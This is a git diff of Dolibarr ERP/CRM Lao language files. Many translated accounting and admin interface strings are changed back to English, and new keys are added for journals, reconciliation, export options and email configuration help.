ACCOUNTING_DATE_START_BINDING=ກຳ ນົດວັນທີເພື່ອເລີ່ມຜູກມັດແລະໂອນເຂົ້າບັນຊີ. ຕ່ ຳ ກວ່າວັນທີນີ້, ທຸລະ ກຳ ຈະບໍ່ຖືກໂອນເຂົ້າບັນຊີ. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=ກ່ຽວກັບການໂອນບັນຊີ, ເລືອກໄລຍະເວລາສະແດງຕາມຄ່າເລີ່ມຕົ້ນ +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=ມີວາລະສານໃ່ +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=ບັນຊີບັນຊີຜົນໄດ້ຮັບ (ກໍາໄລ) ACCOUNTING_RESULT_LOSS=ຜົນບັນຊີບັນຊີ (ຂາດທຶນ) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=ວາລະສານປິດ -ACCOUNTING_ACCOUNT_TRANSFER_CASH=ບັນຊີບັນຊີຂອງການໂອນທະນາຄານຂ້າມຜ່ານ +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=ບັນຊີໂອນເງິນຜ່ານທະນາຄານຊົ່ວຄາວ -ACCOUNTING_ACCOUNT_SUSPENSE=ບັນຊີບັນຊີຂອງການລໍຖ້າ -DONATION_ACCOUNTINGACCOUNT=ບັນຊີບັນຊີເພື່ອລົງທະບຽນການບໍລິຈາກ -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=ບັນຊີບັນຊີເພື່ອລົງທະບຽນການສະັກໃຊ້ +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=ບັນຊີບັນຊີໂດຍມາດຕະຖານເພື່ອລົງທະບຽນເງິນcustomerາກຂອງລູກຄ້າ -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=ບັນຊີບັນຊີຕາມມາດຕະຖານສໍາລັບຜະລິດຕະພັນທີ່ຊື້ມາ (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນຜະລິດຕະພັນ) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=ບັນຊີການບັນຊີຕາມມາດຕະຖານສໍາລັບຜະລິດຕະພັນທີ່ຊື້ມາໃນ EEC (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນຜະລິດຕະພັນ) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=ບັນຊີບັນຊີຕາມມາດຕະຖານສໍາລັບຜະລິດຕະພັນທີ່ຊື້ມາແລະນໍາເຂົ້າອອກຈາກ EEC (ນໍາໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນຜະລິດຕະພັນ) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=ບັນຊີການບັນຊີຕາມມາດຕະຖານສໍາລັບຜະລິດຕະພັນທີ່ຂາຍແລ້ວ (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນຜະລິດຕະພັນ) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=ບັນຊີການບັນຊີຕາມມາດຕະຖານສໍາລັບຜະລິດຕະພັນທີ່ຂາຍໃນ EEC (ນໍາໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນຜະລິດຕະພັນ) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=ບັນຊີບັນຊີຕາມມາດຕະຖານສໍາລັບຜະລິດຕະພັນທີ່ຂາຍແລະສົ່ງອອກນອກ EEC (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນຜະລິດຕະພັນ) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=ບັນຊີການບັນຊີຕາມມາດຕະຖານສໍາລັບການບໍລິການທີ່ຊື້ມາ (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນບໍລິການ) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=ບັນຊີການບັນຊີຕາມມາດຕະຖານສໍາລັບການບໍລິການທີ່ຊື້ໃນ EEC (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນເອກະສານການບໍລິການ) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=ບັນຊີການບັນຊີໂດຍມາດຕະຖານສໍາລັບການບໍລິການທີ່ຊື້ມາແລະນໍາເຂົ້າອອກຈາກ EEC (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນບໍລິການ) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=ບັນຊີການບັນຊີຕາມມາດຕະຖານສໍາລັບການບໍລິການທີ່ຂາຍແລ້ວ (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນບໍລິການ) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=ບັນຊີການບັນຊີໂດຍມາດຕະຖານສໍາລັບການບໍລິການທີ່ຂາຍໃນ EEC (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນແຜ່ນບໍລິການ) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=ບັນຊີບັນຊີໂດຍມາດຕະຖານສໍາລັບການບໍລິການທີ່ຂາຍແລະສົ່ງອອກນອກ EEC (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນເອກະສານການບໍລິການ) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=ປະເພດເອກະສານ Docdate=ວັນທີ @@ -211,7 +220,8 @@ Codejournal=Journal JournalLabel=ປ້າຍວາລະສານ NumPiece=ຈໍານວນສິ້ນ TransactionNumShort=ຕົວເລກ. ທຸລະກໍາ -AccountingCategory=ກຸ່ມທີ່ກໍາຫນົດເອງ +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=ຈັດກຸ່ມຕາມບັນຊີແຍກປະເພດທົ່ວໄປ GroupBySubAccountAccounting=ຈັດກຸ່ມຕາມບັນຊີ subledger AccountingAccountGroupsDesc=ເຈົ້າສາມາດ ກຳ ນົດທີ່ນີ້ບາງກຸ່ມບັນຊີບັນຊີ. ພວກມັນຈະຖືກນໍາໃຊ້ສໍາລັບບົດລາຍງານການບັນຊີສ່ວນບຸກຄົນ. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=ສະແດງຜົນຮວມຍ່ອຍຕາມລະ Pcgtype=ກຸ່ມບັນຊີ PcgtypeDesc=ກຸ່ມບັນຊີໄດ້ຖືກນໍາໃຊ້ເປັນເກນທີ່ໄດ້ກໍານົດໄວ້ລ່ວງ ໜ້າ 'ຕົວກັ່ນຕອງ' ແລະ 'ການຈັດກຸ່ມ' ສໍາລັບບົດລາຍງານການບັນຊີບາງອັນ. ຕົວຢ່າງ, 'ລາຍຮັບ' ຫຼື 'ລາຍຈ່າຍ' ຖືກໃຊ້ເປັນກຸ່ມສໍາລັບບັນຊີບັນຊີຂອງຜະລິດຕະພັນເພື່ອສ້າງລາຍງານລາຍຈ່າຍ/ລາຍຮັບ. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=ເຂົ້າກັນໄດ້ TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=ປຶກສາຫາລືຢູ່ທີ່ນີ້ບັນຊີລາຍຊື່ຂອງສາຍໃບເກັບເງິນຂອງລູກຄ້າຜູກມັດ (ຫຼືບໍ່) ເຂົ້າໃນບັນຊີບັນຊີຜະລິດຕະພັນ -DescVentilMore=ໃນກໍລະນີຫຼາຍທີ່ສຸດ, ຖ້າເຈົ້າໃຊ້ຜະລິດຕະພັນຫຼືການບໍລິການທີ່ໄດ້ກໍານົດໄວ້ລ່ວງ ໜ້າ ແລະເຈົ້າຕັ້ງnumberາຍເລກບັນຊີຢູ່ໃນບັດຜະລິດຕະພັນ/ການບໍລິການ, ຄໍາຮ້ອງສະwillັກຈະສາມາດເຮັດການຜູກມັດທັງbetweenົດລະຫວ່າງສາຍໃບເກັບເງິນຂອງເຈົ້າກັບບັນຊີຂອງຕາຕະລາງບັນຊີຂອງເຈົ້າ, ພຽງແຕ່ຢູ່ໃນ ຄລິກດຽວດ້ວຍປຸ່ມ "%s" . ຖ້າບັນຊີບໍ່ໄດ້ຕັ້ງຢູ່ໃນບັດຜະລິດຕະພັນ/ການບໍລິການຫຼືຖ້າເຈົ້າຍັງມີບາງສາຍທີ່ບໍ່ຖືກຜູກມັດກັບບັນຊີ, ເຈົ້າຈະຕ້ອງເຮັດການຜູກມັດດ້ວຍຕົນເອງຈາກເມນູ " %s ". -DescVentilDoneCustomer=ປຶກສາທີ່ນີ້ບັນຊີລາຍຊື່ຂອງແຖວຂອງໃບແຈ້ງ ໜີ້ ລູກຄ້າແລະບັນຊີບັນຊີຜະລິດຕະພັນຂອງເຂົາເຈົ້າ -DescVentilTodoCustomer=ຜູກມັດສາຍໃບຮຽກເກັບເງິນທີ່ຍັງບໍ່ໄດ້ຜູກມັດກັບບັນຊີບັນຊີຜະລິດຕະພັນເທື່ອ -ChangeAccount=ປ່ຽນບັນຊີບັນຊີຜະລິດຕະພັນ/ການບໍລິການສໍາລັບສາຍທີ່ເລືອກດ້ວຍບັນຊີບັນຊີຕໍ່ໄປນີ້: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=ປຶກສາຫາລືຢູ່ທີ່ນີ້ບັນຊີລາຍຊື່ຂອງໃບຮຽກເກັບເງິນຜູ້ຂາຍທີ່ຖືກຜູກມັດຫຼືຍັງບໍ່ທັນຖືກຜູກມັດກັບບັນຊີບັນຊີຜະລິດຕະພັນ (ມີພຽງບັນທຶກທີ່ບໍ່ໄດ້ໂອນເຂົ້າບັນຊີແລ້ວເທົ່ານັ້ນ) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=ປຶກສາທີ່ນີ້ບັນຊີລາຍຊື່ຂອງໃບຮຽກເກັບເງິນຂອງຜູ້ຂາຍແລະບັນຊີບັນຊີຂອງເຂົາເຈົ້າ DescVentilTodoExpenseReport=ຜູກມັດສາຍລາຍງານລາຍຈ່າຍບໍ່ໄດ້ຜູກມັດກັບບັນຊີບັນຊີຄ່າ ທຳ ນຽມແລ້ວ DescVentilExpenseReport=ປຶກສາທີ່ນີ້ລາຍການສາຍລາຍງານລາຍຈ່າຍທີ່ຜູກມັດ (ຫຼືບໍ່) ກັບບັນຊີບັນຊີຄ່າ ທຳ ນຽມ @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=ຖ້າເຈົ້າຕັ້ງບັນຊີ DescVentilDoneExpenseReport=ປຶກສາຫາລືຢູ່ທີ່ນີ້ບັນຊີລາຍຊື່ຂອງລາຍງານຄ່າໃຊ້ຈ່າຍແລະບັນຊີຄ່າທໍານຽມຂອງເຂົາເຈົ້າ Closure=ການປິດປະຈໍາປີ -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=ການດັດແກ້ຫຼືການລຶບລາຍລັກອັກສອນ, ຕົວອັກສອນແລະການລຶບໃດ will ຈະຖືກຫ້າມ. ລາຍການທັງforົດ ສຳ ລັບການອອກ ກຳ ລັງກາຍຕ້ອງຖືກກວດສອບຖ້າບໍ່ດັ່ງນັ້ນຈະປິດບໍ່ໄດ້ ValidateHistory=ຜູກມັດອັດຕະໂນມັດ AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=ການດຸ່ນດ່ຽງ FicheVentilation=ບັດຜູກມັດ GeneralLedgerIsWritten=ທຸລະ ກຳ ຖືກຂຽນໄວ້ໃນປື້ມບັນຊີ GeneralLedgerSomeRecordWasNotRecorded=ບາງທຸລະກໍາບໍ່ສາມາດຖືກເຮັດເປັນວາລະສານໄດ້. ຖ້າບໍ່ມີຂໍ້ຄວາມຜິດພາດອັນອື່ນ, ອັນນີ້ອາດຈະເປັນເພາະວ່າເຂົາເຈົ້າໄດ້ຖືກເຮັດ ໜັງ ສືພິມແລ້ວ. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=ບັນຊີລາຍຊື່ຂອງຜະລິດຕະພັນບໍ່ໄດ້ຜູກມັດກັບບັນຊີການບັນຊີໃດ +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=ປ່ຽນການຜູກມັດ Accounted=ບັນຊີຢູ່ໃນບັນຊີ NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=ການດໍາເນີນງານຕ່າງell AccountingJournalType2=ການຂາຍ AccountingJournalType3=ການຊື້ AccountingJournalType4=ທະນາຄານ -AccountingJournalType5=ບົດລາຍງານຄ່າໃຊ້ຈ່າຍ +AccountingJournalType5=Expense reports AccountingJournalType8=ສາງ AccountingJournalType9=ມີໃຫມ່ +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=ວາລະສານນີ້ຖືກໃຊ້ແລ້ວ AccountingAccountForSalesTaxAreDefinedInto=Noteາຍເຫດ: ບັນຊີບັນຊີສໍາລັບອາກອນການຂາຍໄດ້ກໍານົດໄວ້ໃນເມນູ %s - %s NumberOfAccountancyEntries=ຈຳ ນວນລາຍການ @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=ຈໍານວນຂອງການເຄື່ອ ACCOUNTING_DISABLE_BINDING_ON_SALES=ປິດໃຊ້ງານການຜູກມັດແລະໂອນເຂົ້າບັນຊີກ່ຽວກັບການຂາຍ (ໃບເກັບເງິນຂອງລູກຄ້າຈະບໍ່ຖືກເອົາເຂົ້າໃນບັນຊີ) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=ປິດໃຊ້ງານການຜູກມັດແລະການໂອນບັນຊີຢູ່ໃນການຊື້ (ໃບເກັບເງິນຂອງຜູ້ຂາຍຈະບໍ່ຖືກເອົາເຂົ້າໃນບັນຊີ) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=ປິດໃຊ້ງານການຜູກມັດແລະການໂອນບັນຊີຢູ່ໃນລາຍງານລາຍຈ່າຍ (ບົດລາຍງານຄ່າໃຊ້ຈ່າຍຈະບໍ່ຖືກເອົາເຂົ້າໃນບັນຊີ) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=ການຢືນຢັນການສ້າງເອກະສານການສົ່ງອອກບັນຊີບໍ? ExportDraftJournal=ສົ່ງອອກວາລະສານຮ່າງ @@ -389,7 +406,7 @@ SaleLocal=ການຂາຍໃນທ້ອງຖິ່ນ SaleExport=ຂາຍສົ່ງອອກ SaleEEC=ຂາຍໃນ EEC SaleEECWithVAT=ການຂາຍໃນ EEC ດ້ວຍອາກອນມູນຄ່າເພີ່ມບໍ່ແມ່ນ null, ດັ່ງນັ້ນພວກເຮົາຄິດວ່າອັນນີ້ບໍ່ແມ່ນການຂາຍພາຍໃນລະບົບສື່ສານແລະບັນຊີທີ່ແນະນໍາແມ່ນບັນຊີຜະລິດຕະພັນມາດຕະຖານ. -SaleEECWithoutVATNumber=ຂາຍໃນ EEC ໂດຍບໍ່ມີ VAT ແຕ່ ID VAT ຂອງພາກສ່ວນທີສາມບໍ່ໄດ້ລະບຸ. ພວກເຮົາຕົກຢູ່ໃນບັນຊີຜະລິດຕະພັນສໍາລັບການຂາຍມາດຕະຖານ. ເຈົ້າສາມາດແກ້ໄຂ VAT ID ຂອງພາກສ່ວນທີສາມຫຼືບັນຊີຜະລິດຕະພັນຖ້າຈໍາເປັນ. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=ຄຳ ນວນແລ້ວ Formula=ສູດ ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=ລາຍການບັນຊີ @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=ລະຫັດຫຼາຍສະກຸນເງິ DateExport=ວັນທີສົ່ງອອກ WarningReportNotReliable=ຄຳ ເຕືອນ, ບົດລາຍງານນີ້ບໍ່ໄດ້ອີງໃສ່ປຶ້ມບັນຊີ, ສະນັ້ນບໍ່ມີການເຮັດທຸລະ ກຳ ທີ່ດັດແກ້ດ້ວຍຕົນເອງຢູ່ໃນປຶ້ມບັນຊີ. ຖ້າວາລະສານຂອງເຈົ້າໃis່ຫຼ້າສຸດ, ມຸມມອງການເຮັດບັນຊີແມ່ນຖືກຕ້ອງກວ່າ. ExpenseReportJournal=ວາລະສານລາຍງານລາຍຈ່າຍ -InventoryJournal=ວາລະສານສິນຄ້າຄົງຄັງ +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s ບັນຊີ diff --git a/htdocs/langs/lo_LA/admin.lang b/htdocs/langs/lo_LA/admin.lang index fba067ff1d9..299d8a82caf 100644 --- a/htdocs/langs/lo_LA/admin.lang +++ b/htdocs/langs/lo_LA/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=ການລວບລວມລູກຄ້າ WarningModuleNotActive=ຕ້ອງເປີດໃຊ້ໂມດູນ %s WarningOnlyPermissionOfActivatedModules=ສະເພາະການອະນຸຍາດທີ່ກ່ຽວຂ້ອງກັບໂມດູນທີ່ເປີດໃຊ້ງານແລ້ວເທົ່ານັ້ນທີ່ສະແດງຢູ່ທີ່ນີ້. ເຈົ້າສາມາດເປີດໃຊ້ໂມດູນອື່ນຢູ່ໃນ ໜ້າ ທໍາອິດ-> ການຕັ້ງ-> ໜ້າ ໂມດູນ. DolibarrSetup=ຕິດຕັ້ງຫຼືອັບເກຣດ Dolibarr -InternalUser=ຜູ້ໃຊ້ພາຍໃນ -ExternalUser=ຜູ້ໃຊ້ພາຍນອກ InternalUsers=ຜູ້ໃຊ້ພາຍໃນ ExternalUsers=ຜູ້ໃຊ້ພາຍນອກ UserInterface=ສ່ວນຕິດຕໍ່ຜູ້ໃຊ້ @@ -147,6 +145,7 @@ Box=ວິດເຈັດ Boxes=ວິດເຈັດ MaxNbOfLinesForBoxes=ສູງສຸດ ຈໍານວນແຖວສໍາລັບເຄື່ອງມື AllWidgetsWereEnabled=ວິດເຈັດທີ່ມີທັງົດຖືກເປີດ ນຳ ໃຊ້ +WidgetAvailable=Widget available PositionByDefault=ຄໍາສັ່ງເລີ່ມຕົ້ນ Position=ຕຳ ແໜ່ງ MenusDesc=ຜູ້ຈັດການເມນູກໍານົດເນື້ອໃນຂອງສອງແຖບເມນູ (ລວງນອນແລະລວງຕັ້ງ). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (ຄ່າເລີ່ມຕົ້ນໃ MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=ພອດ SMTP/SMTPS (ບໍ່ໄດ້ ກຳ ນົດໄວ້ໃນ PHP ໃນລະບົບຄ້າຍ Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (ບໍ່ໄດ້ກໍານົດໄວ້ໃນ PHP ໃນລະບົບຄ້າຍ Unix) MAIN_MAIL_EMAIL_FROM=ສົ່ງອີເມວຫາອີເມວອັດຕະໂນມັດ (ຄ່າເລີ່ມຕົ້ນໃນ php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=ອີເມລ used ທີ່ໃຊ້ສໍາລັບການສົ່ງຄືນຄວາມຜິດພາດອີເມລ fields (ພາກສະຫນາມ 'Errors-To' ໃນອີເມລ sent ສົ່ງ) MAIN_MAIL_AUTOCOPY_TO= ສຳ ເນົາ (Bcc) ສົ່ງອີເມວທັງtoົດໄປຫາ MAIN_DISABLE_ALL_MAILS=ປິດການສົ່ງອີເມວທັງ(ົດ (ເພື່ອຈຸດປະສົງການທົດສອບຫຼືການສາທິດ) @@ -375,7 +375,7 @@ DoTestSendHTML=ທົດສອບການສົ່ງ HTML ErrorCantUseRazIfNoYearInMask=ຜິດພາດ, ບໍ່ສາມາດໃຊ້ຕົວເລືອກ @ ເພື່ອຣີເຊັດຕົວນັບແຕ່ລະປີໄດ້ຖ້າລໍາດັບ {yy} ຫຼື {yyyy} ບໍ່ຢູ່ໃນ ໜ້າ ກາກ. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=ຜິດພາດ, ບໍ່ສາມາດໃຊ້ຕົວເລືອກ @ if sequence {yy} {mm} ຫຼື {yyyy} {mm} ບໍ່ຢູ່ໃນ ໜ້າ ກາກ. UMask=ພາຣາມິເຕີ UMask ສໍາລັບໄຟລ new ໃon່ຢູ່ໃນລະບົບໄຟລ Un Unix/Linux/BSD/Mac. -UMaskExplanation=ຕົວກໍານົດການນີ້ອະນຸຍາດໃຫ້ເຈົ້າກໍານົດການອະນຸຍາດທີ່ຕັ້ງໄວ້ໂດຍຄ່າເລີ່ມຕົ້ນໃນໄຟລ created ທີ່ສ້າງໂດຍ Dolibarr ຢູ່ໃນເຊີບເວີ (ຕົວຢ່າງໃນລະຫວ່າງການອັບໂຫຼດ).
      ມັນຈະຕ້ອງເປັນຄ່າເລກຖານແປດ (ຕົວຢ່າງ, 0666 meansາຍເຖິງການອ່ານແລະຂຽນ ສຳ ລັບທຸກຄົນ).
      ພາຣາມິເຕີນີ້ບໍ່ມີປະໂຫຍດຕໍ່ກັບເຊີບເວີ Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
